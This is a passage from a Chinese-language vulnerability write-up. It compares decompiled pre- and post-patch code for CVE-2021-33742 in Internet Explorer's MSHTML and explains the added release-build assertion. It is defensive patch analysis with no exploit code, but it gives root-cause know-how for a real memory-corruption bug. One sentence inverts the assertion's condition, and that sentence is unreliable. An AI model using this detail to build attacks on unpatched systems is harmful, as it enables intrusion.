pTreeDataPos = *ppTreeDataPos;
pTreeDataPos->_cElemLeftAndFlags = pTreeDataPos->_cElemLeftAndFlags & 0xFFFFFFF4 | 4;
if ( a9 )
pTreeDataPos->dptp.t._lTextID |= 0x20000000u;
pTreeDataPos->dptp.t._sid_cch = SrcTextCch & 0x1FFFFFF | (sid << 25);
if ( eHLM < 80000 )
pTreeDataPos->dptp.t._lTextID = lTextID;
else
pTreeDataPos->dptp.t._lTextID = (a9 << 29) | ((a8 << 30) | lTextID & 0x1FFFFFFF) & 0xDFFFFFFF;
pTreeDataPos->_ulRefs_Flags = pTreeDataPos->_ulRefs_Flags & 0xFFFFFFF7 | 3;
CTreeDataPos::UpdateWhiteSpaceTypeConsideringNewText(pTreeDataPos, SrcTextPtr, SrcTextCch);
}
//補丁后:
void __fastcall Tree::TreeWriter::NewTextPosInternal(CTreeDataPos **ppTreeDataPos, const wchar_t *SrcTextPtr, ULONG SrcTextCch, const CTreePos *a4, enum htmlLayoutMode eHLM, BYTE sid, LONG lTextID, int a8, bool a9)
{
CTreeDataPos *pTreeDataPos; // esi
pTreeDataPos = *ppTreeDataPos;
(*ppTreeDataPos)->_cElemLeftAndFlags = (*ppTreeDataPos)->_cElemLeftAndFlags & 0xFFFFFFF4 | 4;
if ( a9 )
pTreeDataPos->dptp.t._lTextID |= 0x20000000u;
if ( (unsigned __int8)wil::Feature<__WilFeatureTraits_Feature_Servicing_2106b_33613045>::__private_IsEnabled() )
Release_Assert((int)SrcTextCch < 0x2000000);
pTreeDataPos->dptp.t._sid_cch = SrcTextCch & 0x1FFFFFF | (sid << 25);
if ( eHLM >= 80000 )
pTreeDataPos->dptp.t._lTextID = (a9 << 29) | ((a8 << 30) | lTextID & 0x1FFFFFFF) & 0xDFFFFFFF;
else
pTreeDataPos->dptp.t._lTextID = lTextID;
pTreeDataPos->_ulRefs_Flags = pTreeDataPos->_ulRefs_Flags & 0xFFFFFFF7 | 3;
CTreeDataPos::UpdateWhiteSpaceTypeConsideringNewText(pTreeDataPos, SrcTextPtr, SrcTextCch);
}
void __fastcall Release_Assert(bool a1)
{
if ( !a1 )
Abandonment::AssertionFailed(); // 斷言失敗
}
void __stdcall Abandonment::AssertionFailed()
{
void *retaddr; // [esp+4h] [ebp+4h]
Abandonment::InduceAbandonment(10, retaddr, 0, 0);
__debugbreak();
}
void __thiscall Abandonment::InduceAbandonment(void *this, int a2, int a3)
{
Abandonment::hostExceptionFilter = SetUnhandledExceptionFilter(0);
RaiseException(0x80000003, 1u, this, 0);
}
可以看到打了補丁后的Tree::TreeWriter::NewTextPosInternal()函數在向CTreeDataPos對象中結構體DATAPOSTEXT的_cch成員寫入文本字符串長度之前,進行了一個判斷。如果SrcTextCch < 0x2000000,就會觸發斷言失敗。普通斷言(assert())只有在debug版本的文件中會得到執行,而在release版本的文件中不會得到執行。這里使用的是一種由C++提供的,可以添加到release版本的文件中的斷言函數Release_Assert()。斷言失敗后,通過SetUnhandledExceptionFilter()函數設置異常處理函數,并會拋出一個斷點異常。之后會一直在異常處理流程中,并不會造成IE執行堆越界寫的代碼。
8 參考鏈接
1、Google Project Zero - CVE-2021-33742: Internet Explorer out-of-bounds write in MSHTML:https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-33742.html
2、Google Threat Analysis Group - How we protect users from 0-day attacks:https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks/
3、weolar - 丟幾個好東西,完整可編譯的ie2、ie5.5源碼,嘿嘿:https://bbs.pediy.com/thread-137616.htm
4、o_0xF2B8F2B8 - IE DOM樹概覽:https://www.jianshu.com/p/8cd37ffe9a98
5、Microsoft Edge Team - Modernizing the DOM tree in Microsoft Edge:https://blogs.windows.com/msedgedev/2017/04/19/modernizing-dom-tree-microsoft-edge/
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1819/
暫無評論